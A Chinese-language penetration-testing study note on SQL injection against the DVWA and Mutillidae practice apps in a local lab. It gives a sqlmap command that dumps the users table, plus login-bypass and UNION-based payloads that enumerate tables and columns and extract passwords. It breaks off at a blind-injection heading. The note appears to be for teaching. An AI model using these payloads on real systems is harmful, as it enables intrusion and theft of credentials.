kali渗透测试与教学笔记3:sql注入

web应用渗透测试技术:sql注入

以魔鬼训练营为例,书中用的是tamper data 插件,现在用burpsuite截获网页数据,注意要获取cookies数据

  • sqlmap:

查看到字段的语句如下

sqlmap -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit' --cookie='security=low; PHPSESSID=5bthna6rgifdi55n5c1sbl9pe7' --batch -D dvwa -T users -C user,passwd,user_id --dump


这里需要注意的是,DVWA网站,如果安全级别是“high”的情况,是扫不出来的。

  • XSS漏洞探测之扫描Mutillidae应用,地址:http://10.10.10.129/mutillidae/

利用w3af进行,设置如下

kali渗透测试与教学笔记3:sql注入

也可以使用acunetix、openvas、nessus

还可以用wXf这个软件。表示没有用过。

  • sql注入:

常用:

' or '1=1

’ or 1=1 --'   通过--,注释掉后面的验证,不同数据库注释语句不一样,要查查

可以结合sql语句其他方法进行注入:

原理:union 用于合并2个表,要求两个表有相同列数

用union列出字段探测:' union select 1 --',出错说明列数不相同,继续加列数' union select 1,2 --'直到探测出正确字段个数结果

利用这个方法查询一些有意义的数据库信息:

列出mysql系统中的所有数据表格名称

'union select 1,table_name from INFORMATION_SCHEMA.tables -- ' 注意最后要有空格

列出users数据表格字段

' union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '

列出users表中的password字段的值:

' union select NULL,password from users -- '

最后,用concat()把想要的信息合成一起,显示出来:

' union select 1,concat(first_name,' ',last_name,' ',password) from users -- '

基本理论到此结束。

实战一下,通过以上,似乎可以进行简单sql注入,但是心里没底。真正的实战来了:

盲注,字符的拆半拆解和基于服务器响应的时间拆解

拆半拆解:

kali渗透测试与教学笔记3:sql注入

kali渗透测试与教学笔记3:sql注入